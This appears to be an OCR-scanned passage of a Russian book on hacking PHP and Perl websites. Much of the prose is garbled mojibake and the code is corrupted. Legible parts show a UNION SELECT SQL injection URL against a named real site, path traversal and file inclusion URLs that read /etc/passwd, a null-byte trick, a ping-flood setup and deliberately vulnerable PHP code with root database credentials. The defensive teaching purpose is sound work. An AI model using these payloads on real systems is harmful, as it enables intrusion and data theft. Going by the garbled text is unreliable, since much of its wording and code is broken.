enctypes="multipart/form-data">
Ornpaska gaiinos:

<input type="hidden" name="MAX_FILE_SIZE" value="300">

<br><input name="filel” type="file">
<br><input types'submit® value="Send files">
</ form>

SR porndssion;

Puc. 4.5. Mpasa aocTyna Ha 3arpyxeHrbii hain

TlonpoByiite Teneps 3arpysuts (aiin MeHbILE Pa3PELICHHOTO pasMepa. Ynpasie-
HHE GyNeT nepenalo CUEHAPHIO, HO (pu 3ToM (aiin He GyAeT 3arpyxeH, NO3TOMY
napameTp pasmepa haina $filel _size GyAeT PaBeH HyMIO, 2 HMA BPEMEHHOTO
daiina $filel_size Byner paBHO none. TakuM o6pa3oM, B CUEHAPHH XKeNAaTENbHO
06aBHTL NIPOBEPKY, NPEXKIE YEM TIPOHIBOAMTE KOMUPOBAHKE:

if ($filel=="none")

die ("Gaitr cmvmxom Gombwoi") ;

fIpoGrema 3TOTO METOAa 3aKAIOYAETCA B TOM, UTO XAKEP MONET NCrKO YAANHTL
HEBMMMOE TIONTE C OrPaHHYEHUEM, Bedl MPoBepka Gy/eT MPOUCKMIMIL 1A cTopotie
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HTML: :Mason: :Cammands: :__ANON__('sid', 22306, 'g_id', 2, 'id', 1} called
at /usr/local/lib/per15/site_perl/5.8.4/HTML/Masen/Camponent.gm line 136
HTML: :Mason: :Component : :xun ( 'HTML: :Mason: : Camponent : : FileBagsed=HASH(0xBS £
©938) ', 'sid', 22306, 'g.id’, 2, 'id', 1} called at
/usr/local/lib/perlS/site_perl/S.8.4/HTML/Mason/Request.pm line 1069
eval {...} at /usr/local/lib/perl5/site_perl/5.8.4/HTML/Mason/Request.pm
line 1068

HTML: :Mason: ;Request: :comp (undef, undef, undef, 'sid', 22306, 'g.id', 2,
'id’, 1) called at
/usr/local/lib/perl5/site_perl/5.8.4/HTML/Magon/Request.pm line 338

eval {...} at /usr/lecal/lib/perlS/site perl/5.8.4/HTML/Mason/Request.pm
line 338

eval {...} at /usr/local/lib/perl5/site_perl/S.8.4/HTML/Mason/Request.pm
line 297

HIML: :Magon: :Request : : exec ( ‘HIML: :Mason: :Request : : CGI=HASH(0xB82e3ed) '}
called at /usr/local/lib/perl5/site_perl/5.8.d/HTML/Mascn/CGIHandler.pm
line 197

eval {...} at
/usr/local/lib/perlS/site_perl/S.8.4/HMML/Mason/CGIHandler.pm line 197
HIML: :Mason: :Request : :CGL: :exec { 'HTML: :Mason: :Request : : CGI=HASH(0x882e3ed
)*) called at /usr/local/lib/perlS/site perl/5.8.4/HTML/Mason/Intexrp.pm
line 216

HTML: :Mason: : Interp: :exec(undef, undef, 'sid', 22306, 'g_ id', 2, 'id', 1)
called at /usr/local/lib/perl5/site_perl/S.8.4/HTML/Mason/CGIHandler.pm
line 127

eval {...} at
fusr/local/lib/perl5/site_perl/5.6.4/HTML/Mason/CGIHandler.pn line 127
HTML: :Mason: :CGIHandler: :_handler (' HTML: :Mason: : CGIHandler=HASH (0x89a764c
}'. 'HASH(0x89b395c) ') called at
Jusr/local/lib/perl5/site_perl/5.8.4/HTML/Mason/CGIHandler.pm line 66

HTML: :Mason: :CGIHandler: :handle_request ('HTML: :Mason: :CGIHandler=HASH (0x8
9a764c) ') called at mason.fpl line 27

3ro maneko He Bes MadOpMaLus, koTopyto coobuin mue Web-cepeep. A ee co-
KpaTun, 1abbi COKOHOMKTL MeCTO. ECAM aaMHUHUCTPATOPbI He 3ATATAIOT 3Ty AbIp-
KY, # K MOMEHTY NPOMTEHHA 3THX CTPOK OHA BCe ewe GyAeT MPHCYTCTBOBATH, Bbl
CMOXETE O3HAKOMMTBCA C MONHBIM BApPHAHTOM caMocToATenbHo. Mudopmauuu
MHOTO H Xakep GyAeT pajl yBUACTh €6, OTOMY 4TO B Hel COEP)KMTCA MHOTO HIO-
aHCOB, KOTOpBIE YNPOLLAIOT BJTOM, TakHe Kak UMeHa Monyned, koa SQL-3anpoca,
¥MeHa W NOJHbIE TYTH K MCTIOME3yeMbIM CleHapuaM U (aiinam. 310 cepbesnas
owubka aamunucTparTopa, yto Web-cepsep BOZBpAl@ET TaKylo NoapobHY0 WH-
dopmanmio 06 omnbie.

Teneps nonpobyem nonobpats konwsecTso noneid. Jna storo noGasuM B napa-
MeTp 0fbenuHerme ¢ ONepaTopoM SELECT W MOCAEHOBaTeNbHO OyaeM yBenuuu-
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Ewe oaxa npouexypa, kovopas moxeT 61Th onacHoM, — sp_makewebtask, KO-
TOpaA CO3AAET HOBYIO 3ajauy, & Tawke (GyHKLMM OTIPaBKK COOBILEHHIT JIeKTPOH-
HOM nouTh! xp_startmail, xp_sendmail. [ToueMy TaK OMacHs! MOUTOBbIC QyHk-
uun? Jleno B TOM, 4YTO XaKephl MOTYT MCTOAb3oBaTh Bami Web-cepeep na
PacChLIKK Criama, KOTOPbIA MOXET OKa3aThea AOCTATOMHO OmnacHbiM. Yem? Bam
‘Web-cepBep MOMKET MONACT B CNAM-UCTHI, U BAIH NONL30OBATENH HE CMOTYT FO-
Aly4aTh HYXHYI KOPPECNOHACHLMIO, A2 W HE HCIUIOYEHBI NPOGIEMBI C ITPAaBOOX-
PaHHTEABHBIMH OpTaHaMH. Cnam BO MHOTUX CTpaHax CTaNl yrojoBHO Tpecnexye-
MM, J{a, BB HE BUHOBATH! B TOM, HTO XaKep Hcronsaosan eaw Web-cepsep, u Bac
OnpasaaKT, Ho HPOGJICMBI € 33aKOHOM HUYCTO XOPOLUCIrO HE MPHHECYT. Pa3se 4o
MOMKHO JEPBGQTETB BPEMEHHYH0 CKaHAANbHYK) H3BECTHOCTDL. Ecnu Bam HYXEH
CKaHaan, TO MOJKETE OCTABHTL ABIPY M OBECHTH o0baBrcHue: "Banomaiite Mens”,
WK 06BABUTE KOHKYPC Ha JTy4IUHit BINOM.

5.6. HexoTopble pekoMeHgauun

VHUBEPCAIbHOE PELICHNE TI0 3ALIMTE MPESANOKHUTD TPYAHO, NOTOMY HTO CYIECT-
BYET MHOXECTBO Pa3sfIUUHbIX 6a3 HAHHBIX W PaINUuHBIX A3bIKOB NpOrpaMMHPOBA-
HHA QNS HATTUCAHUA CLICHAPHEB, HO HEKOTOPbIE PEKOMEHAALLHHA A BAM BCE XK€ JlaM.

Mbi paccMOTpeNH pasiuuHble BAPHAHTDI, C TOMOWIBIO KOTOPBIX XaKep MOXKET po-
HuKHYTh Ha Web-cepBep M B310MaTh €T0 C NOMOLLBIO IIACCHHECKOH aTaky "SQL-
MHBEKLMA", 3T0 HEOGXOAMMO AN1A TOrO, YTOGbI BHI MOTJIH CAMH IIPOTECTHPOBAT
ceolt Web-caiiT Ha BoamoxHble owdbkd, Ecnu b1 ABASeTECH NPOrpaMMHCTOM, TO
He NOBEPAHTE CBOUM 3HAHUAM W OMBITY, HE HaaelTeck, 4To Bawl kon GesynpeueH.
Bce MBI 110mM M MOXKeM 3261ITh NPOBEPUTE ONPEACHCHHE TAPAMETP WIIH CACNAThH
HEMONHYIO POREPKY.

Bce napameTpbs, KoTopble nepexatotcs B SQL-3ampochl, KenaTefbHO OKpYHaTh
OZMHAPHBIMU KABLIYKAMH, HAMPHMEP:

SELECT *

FROM smf_polls

WHERE ID_POLL=%pollid

B stom SQL-2anpoce, 4ToGb! HCKIOYKTL BOSMOXHOCTb arakM, HEoOXomuMo
CINMIIKOM MHOTO NPOBEPOK Ha HAMKUKe B napaMeTpe npobenos, KaBbIYeK, CHMBO-

noB "%", "_","+", "-" u T. 1. Bce 3TH cuMBO/IbI MOTYT ObITh OMACHBI.
Ecan napameTp 3arIlOUCH B KaBbINKH, KaK B CICAYIOWEM NpuMeEpe:
SELECT *

FROM smf_pollg
WHERE ID_POLL='$pollid’
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uuTbCA. B pasHoM cmywae GasanbHeiit nonGop uepes NATH MUHYT NoKasan MHe,
YTO CYLIECTBYIOT CNEAYIOH(HE TPW NIAPaMETpa cut, subcut, staxt. YTo nepena-
BaTb 3THM NapaMeTpaM? Cat ABHO OTBEYAeT 3a KaTerophio, Cpeau xaTeropuii npo-
rpaMM #a Web-caitre i npumepa s Baifpan Games n 3arpysui credyroluni
URL: http://www.4pcsoft.com/index.php?cat=Games.

OrnutHo, NepesIo MHOM 3arpyauIuch BCe MIphl, KOTOPEIE eCTh B Katanore Web-caifra.
Teneps MOCMOTPHM, KaKKE 316Ch €CTb MOAPA3NENbI, H HONpoSyeM Nepeaats HMA NOA-
pasena uepes napameTp subcut, Hanpumep, ceyloumit URL nossonser 3arpysums sce
apxanHsie urpsl: hitps/www.dpesoft.com/index.php?cat=Games&subcut=Arcade.
PesynbTar cocTout 3 Heckomskux Web-ctpanuu. Ecnu Bbl xoTuTe yBHAETh BCE
3anucy, HauuHag ¢ 20, To uucno 20 HyXHO NepeaaTs 4Yepes napaMmeTp startl
http://www.4pcsoft.com/index.php?cat=Games&subcut=Arcade&start=21.
PeaynbTat npusenen Ha puc. 5.14.

Wi Gt Gy (nu!outsramanfmme/m;sumrlp:ﬁ e

i
- dn aﬂ/shnwp&wzc e e e /Vfumwm oS e o

Puc. 5.12. Coo6uwerme of ownbre Ha Web-caiite free-software-downtoad.Info
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BOT Tak BOT METOIOM HAYUHOTO THIKE M C TOMOLUBIG CMEKANKH 5 BbISCHHI peajib-
ubiii URL, KoTopbIli MCnOAb3yeTes Ans npocMoTpa KaTanora nporpaMM. Janeiie
B3toMaTs Web-calfT He TONYYMIOCH M3-3a XOPOILieH Peanu3aLnWK IPoBePKH mapa-
MeTpos.

Tyt coofmath 06 owubKe HET CMBICTA, NOTOMY YTO HUYErO CTPALLHOTO MBI HE
HALLTH, TPOCTO y3nank peantubiii URL

5.7.2. O dyrGone

B nanHo#t khure 5 Gyay He pas paccMatpusath Web-caittel GyTO0IBHONH TEMaTH~
KK, NOTOMY YTO B MOMEHT HamKCaHHA ITHX CTPOK IIPOXOAWT YeMOHOHAT Mupa 9,
dyrbony. INpocto ANs novcka y43BMMOCTEH Yale BCEro s 3amyCKalo MOWUCK [0
‘Web-caiiTam onpeneneHHoi TEMATHKH M TIPOCMATPUBAIO UX HA yA3BUMOCTH. DyT-
GonbHas TeMatiKa ceiivac HanGoNee aKTyaNbHa.

Htak, nepsuii Web-caiiT, koTopblii momancs MHe Ha Taasa, —
http://www.sigames.com, Ha nepsuiii B3rnan sa rnasioit Web-ctpanule seej
cchiikd Ge3 napaMeTpos, IOaTOMy A nepeiuen B pasnen download, rae npdero
o6a3anbl 6bITH napaMeTpet, ¥ oHH TaM GbuTH. Cpasy sxe Gpockiics B Iasa napa:
MeTp id. 5 nonpo6oBan nepenath 8 HeM MycCOp M B UTOTE yBunen coobueHne
ournGke. Knaccuueckuii npuaHak Toro, 4ro sosmoxsa artaka "SQL-unbekuus”a
Nonpobyem no6asuTs B napameTp o6nenunenHe: union select null. M caoes]
riepen Hamy oiunbKa (puc. 5.15).

Nponomkaem noaGupars KOARUECTBO NOAEH, KOTOPbIE NOYHAET 3aMpoc. Y MeHdl
nonyunnock 17 noned, notomy uto cneaywomuii URL nokazan Ham OUeHb WHTE-
pecHbiil pesynbrar (puc. 5.16): http://www.sigames.com/downloads.php?type=t
view &id=369%20union % 20select %20null,null,null,null,null null,null,null,
null,null,null,null,nullnull,nullnullnoll/*,

B nasmom cnyuae caopa ownbka, Ho Teneps oHa Aponsonina 8 270-off cTpokes
cueHapus. CnenosatenbHo, NapaMeTp HCMONLIYETCA B HECKOMLKMX 3AMPOCAX,
W OHM BO3BPALIAIOT Pa3HOE KONHYECTBO CTPOK. DTO 3HAWNMT, 4TO 06beanHeHHs
HE TONYYHTCH, BeAb ONWH U3 3aTIPOCOB BCEr/1a BEPHET OWGKY, A MbI HE CMOKEM
YBHACTb PE3YALTAT 3AIPoca. MOXHO NOMBITATACA OTPAHHUHTE BLIBOA C MOMOs
wbio limit 0, Torma SQL-HHbEKUHA MOXET TIpOHTY B NIEPBOM 3afpoce ycnem-
HO, M pe3ylbTaT MokeT OuiTh oToGpaxkeH. 51 3To He MpOBEPAA, NOTOMY YTO MEHR
3aMHTEPECOBAIO COBEPIICHHO APYroe B 3ToM 3anpoce: kMa dalina download.h,
3T0 ABHO MOAYAL C KAKUMK-TO (DYHKUMAMH, KOTOPHIE NOAKNIOUAIOTCH K OCHOB=
HoMy cueHapuio. [Tonpo6yem ofpaTuTeca k 3TOMy (afny Hanpamyio 4eped
crpoxy URL. PesyneTar BenukoneneH — mepen Hamk FIOABMACA KO 3TOrO
moayna (puc. 5.17).
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A KaK e Peanu30BaTL BOIMONHOCTh BOCCTAHORICHHA NAPOJIS, €CTTH B OTKPHTOM
BHIE OH HE COXPaHACTCR b Gase AaHHEIX? A HHkak. [To 3a0pocy Ha BOCCTaHOBJE-
HHS NAPOIH HEOGXOAHMO:

O 3anpocHTh 8APEC dMEKTPOHHOMN HOUTH [INILIOBATENS;

O HaitTh 3amuch B Gase NAHNBIX, COOTBETCTBYIOULYIO HAKHOMY BJPECY;

O creHepupoBaTh HOBHI [1APOAL, BEAL MBE HE MOXKEM ONPEREUTD TeKyLHH;

O BbICIATb HOBRH NMAPOIb NOJBIOBATENIO HA APEC, YKASAHHEIA B 6a3¢ JAHHLIX.

Tocacnunii myHkr oveHb BakeH. Heskaa nekats B Gaze 3amHch 4K 0AHOO ajpeca
IMNEKTPOHHOW MOUTHY, A BEICKUIATS €ro Ha Apyrof. Ecau BoccTaHOBACHHE WAET No
MMEHH MOVIB30BATEIN, TO BHICEIATS HOBEI MApoNb HYKHO Ha aIpec, ykaaaHHbIA
8 6ate naunnix.

HHKOFIIB HEe peanmyﬁn BO3MOXKHOCTb 3BTOMATHYECKOro BXOAa B NAHEAb aMH-
HUCTpUpoBanHR. Hukaxne koAbl G€30MACHOCTH HE MOrYT 3JAlUMTHTL AaHHLIE OF
nepexsara. Ecan xaxep yxpager Cookies, To Bbt MOXeTe IOTEPATh KOHTPOND Han
CLICHAPUAMH AAMHHHCTPHPOBAHHA.
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print("<P>File type S$filel_type");
if (copy($filel, ‘
" /var/waw/html/files/".$filel name) )
print{"<P><B>Complete</B>") ;
else

print ("Oumbka konMpoBakws daina 1</B>"):
2>

Tlpesxne wem paboTaTh ¢ (afinoM uepes aBTOMATHYECKH 3aPETHCTPHPOBAHHLIC Me-
PeMeHHBIE, B NOJIKHBI TIPOBEPUTE, AaHHbIH (aitn HefiCTBUTENLHO 3aTpYXeH HAK
J1aHHas mepemenHad Gbina mpocTo co3faHa B oTseT Ha napaMeTp n3 crpoxu URL.
JIns 3TOro HYXHO BOCIIONB3OBATLCA AAPAMETPOM file_name. 37O OUeHb BaXHO,
Belb echu ykasaTh cheaytomuii URL, To cuenapuii ckonupyet daiin naponeii:
http://servername/upload?file_name=...././../.. . Jetc/passwd, uTo B panbHeiLem
TIO3BOJIMT €r'0 NPOCMOTPETh.

IMonpoByitTe BHIMOAHUTL CLeHapult M NOCMOTPETL Ha WMA BPEMEHHOTO (aiina,
51 sarpyaun daiin file.txt, a spemensniii daiin nosyudn uMa /tmp/phpmllXXec.
Web-cepBep HIMEHAET #MA 110 CBOEMY YCMOTPEHHIO, NO3TOMY €ro HyxHo Gpath M3
napameTpa $£ilel_name, T. &. PEAsIbHOrO uMeHH (alina, IEPeNaHHOTO OT KIIUeHTa.

Teneps NOCMOTPHM AIpasa NOCTYna sarpykeHHoro daiina. Caenaem 510 ¢ mo-
vousio CyD FTP Client XP (www.cydsoft.com). lNomotouaemes k Web-cepaepy,
BbIIENAEM 3arpyxeHHbid (aitn u Be6upaem Merio Remote | File Permission
{puc. 4.5). Obpature BHUMAaNweE, 4TO paspelseHo npakTHYeck Bee. Ecav cpasuuts
3TH (paBa C NPaBaMy AUPEKTOPHH, Ky1a TIPOH3IOLUNA 3ArPY3Ka, TO Bbl YBUUTE, YTO
OHW YIeHTHUHLL. BEI NOMKHLI YUNTLIBATE 3TO M 110CAE 9arpy3KH KOPPEKTHPOBATH
NpaBa, 8 HMEHHO, yOupaTe mpaBo Ha 3anvck B ¢alin W BuIMONHeHHe, uTOGK!
BIIOMLLKK HE CMOT TIOAMEHHT COLEPKNMOE WK BBICIOIHHTL 3ACPYKEHHBIA CLE-
napuit. O npasax 10cTyra B Linux MOXHO NPOYHTaThL B MOSH KHUFe "Linux ria-
3amu xakepa" (2]

PaccMOTPHM ewe OfHY KNACCHYECKYIO 3a]auy — OrpaHducHue pamMepa 3arpy-
xaemoro dalina. 3To MOXHO CIenaTh TPeMs CROCOGaMH: ¢ MOMOLUBIC OrpaHHue-
nva pasmepa daitna 8 HTML-(opwme, Ha ctopore Web-cepsepa 1 ¢ nomoLubio ma-
pameTpa KoHQHIypauuonHoro aira. Jns orpannuenus 8 HTML-dopme
licofx0anMO 10GABUTL HEBHAMMOE NONE C MMEHEM MAX_FILE_SIZE, a B Ka4eCTBe
SIIAYCHHA YKa3aTh HYXKHbIA pasMep:

~input type="hidden" name="MAX_FILE_SIZE' value="300">

I3 JI0I11OM (PUMEpE B KAYECTBE MAKCHMATTLHOIO pasmMepa YkasaHo 3naucuyue 300 Guli-
10n. (haitnb GoikNero pasmepa 3arpyaThea He Syayr. Ta CTPOKi AIKHI RIETY
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Toicau). Yeranosure 1 B none Time out {Bpems oxupanus otsera). B atom cay-
4ae NporpaMMa He CTRHET IOKHAATLCA OTBETA, & KAXKAYIO CeKyHay GyaeT Hanpas-
nATe ping-maket. B none Size of packets (Pasmep nakera) TAKKE YCTAHOBHTE
Gonbiroe 3uadeHue, Hanpumep, 10 000, 4ToGs! OHMM MaKeTOM OTHPABAANOCH
MHOrO AaHHBIX. Tenepb MOXHO 3aMyCKaTh ONEpaLuio, BBt HyxHbii IP-aapec.

Puc. 1.4. HacTpoika oTnpaeku ping-nakeTtos

Takum 0GpazoM, Mbl MOYKEM 3aTPY3HTE KAHAN JKEPTBLI, HO NIPH YCHOBHH, HTO Halll
KaHam Takoi ke UM Golblne, HeM y atakyemoro komnbioTepa. Ecnu y Bac cko-
POCTh COBMHEHUS MENEHHeH, TO YAACTCH 3arpy3nTh TOMBKO YaCTh KaHana, pas-
HYIO TIPONYCKHON COCOBHOCTH BAINEro coefiMneHms. OCTaNbHAR YACTh OCTAHETCH
cBOBOAHON, M KEPTBA CMOXET HCMONE30BaTh ¢¢. C ApYrod CTOPOHSI, CBA3L GyaeT
3AHUKEHHOM, # XOTA Gbl UEro-TO Mbl A0GLEMCH.

B cnyuae artaku Ha cepBep M €ro MPOUECCOP HAWN KAHAT MOXKeT GbiTh HaMHOMO
cnafiee, raBHOE — NPABUIBHO ONIPEAENUTH cnaGoe 38eHO. JIOyCTHM, UTO cepeep
MpefoCTaBAALT YCAYTY CKAUMBAHUA W XpaHeHus dainos. YTobsl meperpysnTs ka-
HAA TAKOIC cepBepa, HYXHO 3anpOCHTb OJHOBPEMEHHOE CKa4MBAHHE HECKONBKUX
oueHb Gonbuvx Gaiinos. CKOPOCTs CBAIM PE3KO YNAZeT, W CepBEP MOKET Aae
TICpECTaTh OTBEYATh HA 3AMPOCEI OCTANbHBIX KJTHEHTOB, TIPH STOM 3arpy3ka npo-
Leccopa cepiepa MOXeT GbiTh faneka OT MaKCUManbHOH. ECNH HENpaBHIbHO orpe-
ZenuTs cnaboe 3BEHO M HAPACTHTL MOUIHOCTb CEPBEPA, TO MPOHIBOAUTENLHOCTD
He YBEMHUHTCA, MIOTOMY 4TO TPeGyeTcs paclukpeHue Kanasia CBAsu.

Jlna 3arpysku npoueccopa Toxe He TpeGyerca cnnkom Gosbitoli kanan. Hyxso
TObKO NMOA0GPATH 3aNpoc, KOTOPLIi GyAeT BHIMOMHATECA O4eHb jonro. Jlonyc-
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KoHeuno, nasHas ya3suMOCTS HE TAK CTPALIHA, KAK HCTIONB30BAHHE ONHOUMEHHOM
¢dynkuuu B PHP. [leno 8 Tom, uto B Perl yHKumsa require noaxmouaet Tonsko
Perlcuenapuu, Iostomy Xakep gomken uMeTh na Web-cepsepe Perl-cuenapnii,
KOTOPBIA CMOXET BLHIONHHTL HEOGXOAKUMBIE REHCTBHA. ’

3Ty ya3BUMOCTb HENb3s HAIBATH CEPLEIHON 1 NOTOMY, YTO ECH yiK ecTh (aiin Ha
Web-ceprepe, KoTOpLIli XaKep XOUET BLINONHUTE, TO OH MOXET 0BPaTHTLCA K HE-
My HanpAMyio, He o6patias BHHMAHHA Ha OTCYTCTBHE TIPOBEPOK.

ERMHCTBEHHEI BADHAHT MCMONbIOBAHMA AAHHOM YA3BMMOCTH — BO3MOMKHOCTS
BeinonkuTe CGl-cueHapuit, koTopeIii HaXOAWTCA BHE KopHa Web-cepaepa, Ho ans
3TOr0 HeoGXONMMO TOMHO 3HATH DACHIOSOKCHHE CLEHAPUA M UMETH COOTBETCT-
ByIOLIME TIPABA AOCTYMIA.

Ho, He cMOTpA Ha To, 4TO (YHKLMIO TPYAHO HA3BaTh KpUTHuHOH k GesonacHocTH,
K €¢ MCNO/b30OBAHUIO BCE Ke JIyHille OTHOCHTBCA C HOMKHBIM onaceHHeM. Benb
JUNR TOTO, 4TOOB CLCHADHY MOTAH BBINOAHATLCA, HEOGXOAMMO YCTAHOBHTHL COOT-
BETCTBYIOLHE MPaBa JOCTYNA ANA TEKyWero noaksosatens. Hanpumep, ecau xa-
Kep 3arpysuT cLeHapuii Ha Web-cepsep, HO HE CMOXET yCTAHOBUTb NPABA HA €r0
BLITIOIHEHNE, TO OH HE CMOXET HANpaMylo oGpaTHThCH K Hemy uepes Gpayaep.
Ho ecnu oH MOMLITAETCA 3aMYCTHTh €r0 Yepe3 YA3BUMOCTb MpH oGpaueHuu
K QYHKUMY require, TO cucHapHii GyneT BuIMOmHEH,

Kak Bbl HABEPHO 3aMETHAH, BO3MOMHOCTH A3bikoB Perl n PHP conepxat ouenp
MHOro OBLIMX MOTEHUMANBHBIX YRPO3, KOTOPbIE B OCHOBHOM CBA3aHbI ¢ ofpatue-
HUeM K (alioRoli CHCTEME, BHITOHEHHEM CHCTEMHBIX KOMAaHR WM obpaieniem
« CYBJI. Eciit B KaKOM-TO W3 5THX CJTYHAEB XaKep UMEET BOIMOKHOCTh UAMEHHTE
FIOTHKY YNPaBAEHHUA BALIErO CLEHAPUS K NOBNUAT HA BLITIONHACGMbIE KOMAH LRI,
TO 3TO YXKE Cepheanas YA3BMMOCTbL BHE 3aBHCHMOCTH OT HCIIONB3YEMOrO A3blka
1POrpaMMHPOBAHKA.
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Puc. 3.3. Cnucok nonbsoeateneit

K umenu daitna nporpammuo noSaensercs pactwperue Jhtmi. Teneps, ecnu xa-
Kep 3anpocut dalin /etc/passwd, TO cLieHapUd NPOrpaMMHO JOGABHT €llUe M pac-
wmupenue ¥ nonyuntes /etc/passwd.html. Takoro aiina He CywlecTayeT, U CLGHA-
puit Bepuer ownbky. Ha nepsbiit B3rnan 310 petierue npoGaembl, ROTOMY 4TO
TIPOCMOTPETH CHCTEMHBIE thakisl HepoamMoxkHO. Ho 310 TonbKO NepsbIi Barasn,

Jleno B TOM, 4TO eCTb ellle Maruyecknii cumaon “%00", koTopblil 03Ha4ACT KOHEL
cTpoky. Xakepy HeoGXOAMMO TONBKO YKajaTe B KaueCTBE AMPEKTOpHM /elc,
a B kayecTee MerH abina passwd%00, 1 pactnperue 6yaet npouraopuposato OC.

Teneps TpeACTaBUM €lle OJMH BapHaHT ($opMHpOBaHMA NMyTH K daitny. TomycTum,
4To dhaiinkl HOBOCTEH BBITMANAT CredyloMM obpasom: directory/news_NN.html.
Yepea napameTtpsl nepenaetcs directory u NN, a cTpoka NOAKTIOUEHUS B BUIE KO-
Aa hopMupyeTcs cneayiouuM obpasom:
include($_GET['dir')."/news_".$_GET['file'].".html");
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KOZI, KOTOpHIH CQIOPMMpYET UEHTPAILHYIO HACTh, KOTOpAZ M3MEHAETCH, a HOM-
MeHHas ana Beero Web-caiita wianka M noasan 6YAyT NOAKNIOYEHbI.

Kesmth ciswsipin soien CipoRApDRATS roneKD”
HSHTEARLHY SACIH CIPmOM

Puc. 3.14. Web-cTpanuua, copmMupopanHan ¢ noMowbK wabnoxa

Ha nepseiit a3rasa, wabnon Gesonacen. Jaxe ecau Xakep NOMBITaETCA MEpenaTh
CLEHAPHIO MApaMeTP ¢ UMEHEM Spagetop, TO OH Gy/IET 3aMEHEH KOPPEKTHLIM 3Ha-
YCHHEM MpPH NORKAIUEHuH Baitna options.php. A 4o echn nons3osatens Gymer
oBpaimarses Hanpamyio k gainy maketop.php win makebottom.php? B atom cny-
“ac MepeMeHHbIE $pagetop M $pagebottom CYMUICCTBOBATH HE GYAYT, a 3HAUMT,
CCIM NEPEMEHHBIC LTA NEPEAABACMBIX NIAPAMETPOR CO3AIOTCA ABTOMATHYECKH, TO
Wbl CMOXETE HCTIONB30BATH YS3BHMOCTS MoAKNIoHaemMbix daiinos. Hanpumep, cne-
nyroumit npumep URL noakmouaer daiin ¢ umenamu nonsaosareneis /etc/passwd:
hitp://servername/maketop.php?pagetop=/etc/passwd. To e camoe MOKHO
caenaTh B uepes cueHapuii  Qopmuposanus  noasana  Web-crpanuim:
http://servername/makebottom.php?pagebottom=/ctc/passwd,
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OZMHAPHON KABBIYKH), [OTOMY HTO NPH BOCHPOM3BEJCHHH OMMCAHHOTO MPOCTO
MEXaHUYECKH ¥ G/18Tr0/apA CB0EMY OITBITY NPOCTO HATHILET BCE TIPABMALHO.

<HTML>
<HEAD>

<TITLE>Injection test</TITLE>

</HEAD>

<BODY>

<center><h3>Injection test</h3></center>

<hr>

<form name="dbquery" action="inj_test.php* method="get"s>
User name: <input name="username" size=25>

<input type="submit’ value="Find">

</ form>

<hr>

<?

/4 Connect to MysQL

mysql_connect ("lacalhost”, "root”, "test'}
or die (*Can't connect to MySQL Server®);

// Select databasge
mysqgl_select_db("test")
or die ("Can't select database");

7/ Execute Query
Sugername=$_GET[’username’]:
print ("Search: $username"):

$result=mysqgl_query("SELECT * FROM smf _polls WHERE
posterName="'$username'") ;

if (1$result)

{

print{"<BR>Error *.mysql_errno()." ".mysgl_error());
}

if (mysgl num_rows ($result)>0}
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http: //192.168.1.5/param _post .php?file=/etc/passwd*
method="post">
<select siz

<form actios

1" name="where">

<option value="5">News</option>
<option value=*2">Download</option>
<option value:-a">s:ory</$pnion>
<option value="*4">Contacts</option>
</gelect>

</font>

<input type="submit® value="Go">

</ form>

Tlepaoe, 410 HEOBXOAMMO CAENATL — MOMPABHTL NapaMeTp action. Heobxoau-
Mo ykazats nonHeili URL k gaiiny cuenapys sa Web-cepsepe W noGasuth napa-
MeTp file C HEOGXOXMMBIM Ham daiinom.

Tenepb pefaxkTupyeM Kako#-HHGyAb deMeHT crcka BuiGopa. Hanpumep, B nas-
HOM C/y4ae A MOANpaBun B TpeThbedl cTpoke cTpoky News, ykasas B napamerpe
value 3nauyeHue 5. Temeph 3arpyaeM COXPAHEHHYIO H MOJKOPPEKTHPOBAHHYIO
Web-cTpanully ¢ nokaibHOrO HWCKa B Gpaysep, BbiGupaeM moanpaBReHHbI
INeMeHT cnucka (8 1aHHOM ciyvae News) u Haxumaem xHonky Go. Hawwu non-
KOpPEKTUPOBAHHBIE TAPAMETPH! OTNpPaBAAloTCA Ha Web-cepeep, 1 oH oToGpaxaer
3aBeTHbIH Qadin.

OBpaTTe BHHMAHHE, YTO MapaMeTphl (opma nepeaaeT ABYMs METOAaMM ONHO-
BPEMEHHO: POST u GET. IlapaMeTp where MepeaaeTes repBhIM METOLOM, a BOT
file Mbl goGasnm B URL, KoTOPBIA ykasaH B CBOMCTBE action (hopMbl M OH Gy-
JeT NepeaH MeTonoM GET.

Moxto ofa napametpa nepenasaTh MeTogom POST. [lia 3TOTO KOPPEKTHPYeM
dopMy OTrpaBxY JaHHBIX, KaK NOKa3aHO B AMCTHHIE 3,10,

“http://192.168.1.5/param post.php® method="post’>
<BR>Param<input name="file" size="25">

<BR>Section<select size="1" name="where's

<option value="6">News</option>

<option value="2">Downlcad</options
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TATOYHO TONBKO Y3HATH HMA AIMHWHUCTpaTopa (uawe Bcero ro admin wunm
administrator), BOHTY NOA ero WMeHeM, K MOKHO Aenath Ha Web-caiite Bce, uro
[Ayllie Yro[IHO K OT HYXKOTO UMEHH.

Ecnu CHMBOM TpOLEHTA 3ampellieH, & MOAYEPKMBAHUA HET, TO Hala 3anava
YCNOXKHAETCA, HO He CWBbHO. MBI HOMKHLI TONBKO mOgoGpaTh MTMHY mapons U
YKa3aTh COOTBETCTBYIOIUEE KONMHYCCTBO MoAuepkupanuit. [onGop e orHUMer
OYEHb MHOFO BPEMEHH, HYIKHO TOJBKO YKA3aTh CHA4YANa OWH CHMBOJ DOAMEPKH-
BAHMA, 3aT€M [BA, TPH W T. J., NOKA BXOJ He 3aBepIIATCA ynaued. Konnuectso
npoBepok GyAeT paBHO KOMMUECTBY CHMBOJIOB B mapone. Yame Bcero 3o Konuue-
cTBO He Gonee 10 cumsosos.

JlaGbl He nomacTe Ha Takylo mpoGreMy, Mocne IoNyYeHns 3amuceli HeoGXonuMo
OPOM3BECTH €IUE OAHY NPOBEPKY, KAK MOKA3AHO B JIMCTHHTE 5.2,

// Tonck NombsoBaTens CPERCTBAMA SANPOCA K BaZe MaHHEX
Sresult=mysql_query{"SELECT * FROM users
WHERE username LIKE 'Susername’
AND password LIKE ‘$password'");

// Echm pe3yiibTaT CONEPEAT XOTH OH OOHY CTPOKY, TO...
if (mysqgl_num_rows(Sresult)>0)

{

$userrec = mysql_fetch_array($result);

// TpoeepreM nonb3oBaTeNA eme pa3 cpencTBamu PHP
if ({Suserrec(username] == $username)

and (Suserrec[password])

$spassword)

// Tonb30BATEN: 3aPETUCTPUPOBAH

B nasHOM Ciyvae noc/ie NONyueHHA HAHHBIX MbI YUTAEM CTPOKY M3 PesynbTH-
